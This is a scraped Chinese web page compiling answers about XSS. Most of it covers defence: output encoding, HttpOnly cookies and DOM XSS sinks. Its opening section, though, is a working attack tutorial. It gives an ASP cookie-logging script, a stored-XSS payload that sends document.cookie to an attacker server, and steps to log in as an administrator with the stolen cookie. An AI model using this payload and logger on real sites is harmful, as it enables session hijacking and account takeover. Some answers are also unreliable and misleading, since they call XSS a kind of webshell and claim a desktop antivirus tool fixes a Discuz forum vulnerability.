xss终极解决方案(xss支持)

今日出生 2022年05月29日
本文导读目录:

xss漏洞获取cookie怎么解决方案

XSS获取cookie并利用

获取cookie利用代码cookie.asp

html

titlexx/title

body

%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中

msg = Request('msg') //获取提交过来的msg变量,也就是cookie值

set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象

set thisfile = fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie

thisfile.close() //关闭

set fs = nothing%

/body

/html

把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。

XSS构造语句

scriptwindow.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)/script

把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。

简单步骤如下:

1、在存在漏洞的论坛中发日志:

X

2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:

3、这是没有账户前的登陆界面:

4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:

5、替换cookie后不用输用户名密码就顺利进入管理员账户了:

如何防范XSS跨站脚本攻击测试篇

不可信数据 不可信数据通常是来自HTTP请求的数据,以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看,来自数据库、网络服务器和其他来源的数据往往也是不可信的,也就是说,这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕,将其视为包含攻击,这意味着在发送不可信数据之前,应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化,下游直译程序执行的攻击可以迅速蔓延。 传统上来看,输入验证是处理不可信数据的最好办法,然而,输入验证法并不是注入式攻击的最佳解决方案。首先,输入验证通常是在获取数据时开始执行的,而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次,可能更加重要的是,应用程序必须允许潜在危害的字符进入,例如,是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要,但这始终不是解决注入攻击的完整解决方案,最好将输入攻击作为纵深防御措施,而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理,而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码,有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符,而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了,后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码,并不能缓解攻击。但是,如果没有正确理解服务器和浏览器间的目标字符集,有可能导致与非目标字符产生通信,从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具,能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响,仍将正确呈现在浏览器中,解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式,它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式,浏览器作为直译程序,攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系,必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据,主要有两种注入代码的方式: Injecting UP,上行注入 最常见的方式是关闭现有的context并开始一个新的代码context,例如,当你关闭HTML属性时使用"并开始新的 可以终止脚本块,即使该脚本块被注入脚本内方法调用内的引用字符,这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN,下行注入 另一种不太常见的执行XSS注入的方式就是,在不关闭当前context的情况下,引入一个subcontext。例如,将改为 ,并不需要躲开HTML属性context,相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能,虽然你可能无法躲开引用CSS属性来进行上行注入,你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入,例如,可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用,但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲,如果这样做,你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击,你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别,你必须避免所有可能关闭context的字符;下行注入攻击,你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板,模板上有很多插槽,开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的,这是“白名单”模式,否认所有不允许的事情。 根据浏览器解析HTML的方式的不同,每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时,必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说,这种方法将HTML文档当作参数化的数据库查询,数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则,基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试,我们保证本文提出的规则都是安全的。 定义好插槽位置,开发者们在放置任何数据前,都应该仔细分析以确保安全性。浏览器解析是非常棘手的,因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码,如 标签内。也可以对进入属性的不可行数据进行实体编码,尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效,例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename ...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/ inatagname 更重要的是,不要接受来自不可信任来源的JavaScript代码然后运行,例如,名为“callback”的参数就包含JavaScript代码段,没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时,这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是,这对于其他HTML context是远远不够的,你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容,如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体,除了XML中5个重要字符(、、 、 "、 ')外,还加入了斜线符,以帮助结束HTML实体。 -- -- -- "--" '--''isnotrecommended /--/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等),这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则,事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外,使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用,正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏,包括[space] % * + , - / ; = ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的,因为很容易切换到执行环境,因此请小心使用。

Struct2+Spring 架构JavaWeb项目,出现xss跨站脚本攻击漏洞解决方案??

没用到富文本的话可以用spring里的HtmlUtils.htmlEscape(string str)来对parameter转码。是用filter还是其他方式都可以

什么是xss攻击,如何预防

xss攻击是webshell类中的一种,是跨站攻击,可以通过WAF应用防火墙防御,如果懂技术可以自己写,相关的程序规则进行拦截,返回错误请求信息,或者安装安全狗 云锁之类的,和百度云加速等都带有免费的WAF功能,也可以找智多互联,专业防御各种攻击,提供专业的防御方案

如何正确防御xss攻击

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

如何修复Discuz存储型XSS漏洞(2013-06-20)大神们帮帮忙

漏洞修复可以使用腾讯电脑管家来修复

下载打开腾讯电脑管家,修复漏洞就可以对系统漏洞进行修复扫描了

腾讯电脑管家还可以删除已修复的漏洞,就是说,如果你的电脑与最新的漏洞相冲突,只要在“已安装”中删除就不会有问题了。

腾讯电脑管家的漏洞全部来自微软官网,可靠安全

希望能够帮到你~

我来说两句
黑客技术 2年前 (2022-05-29) | 回复
up,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。
黑客技术 2年前 (2022-05-29) | 回复
iethisfile.close() //关闭set fs = nothing%/body/html把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们
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offwhite 4个月前 (01-11) | 回复
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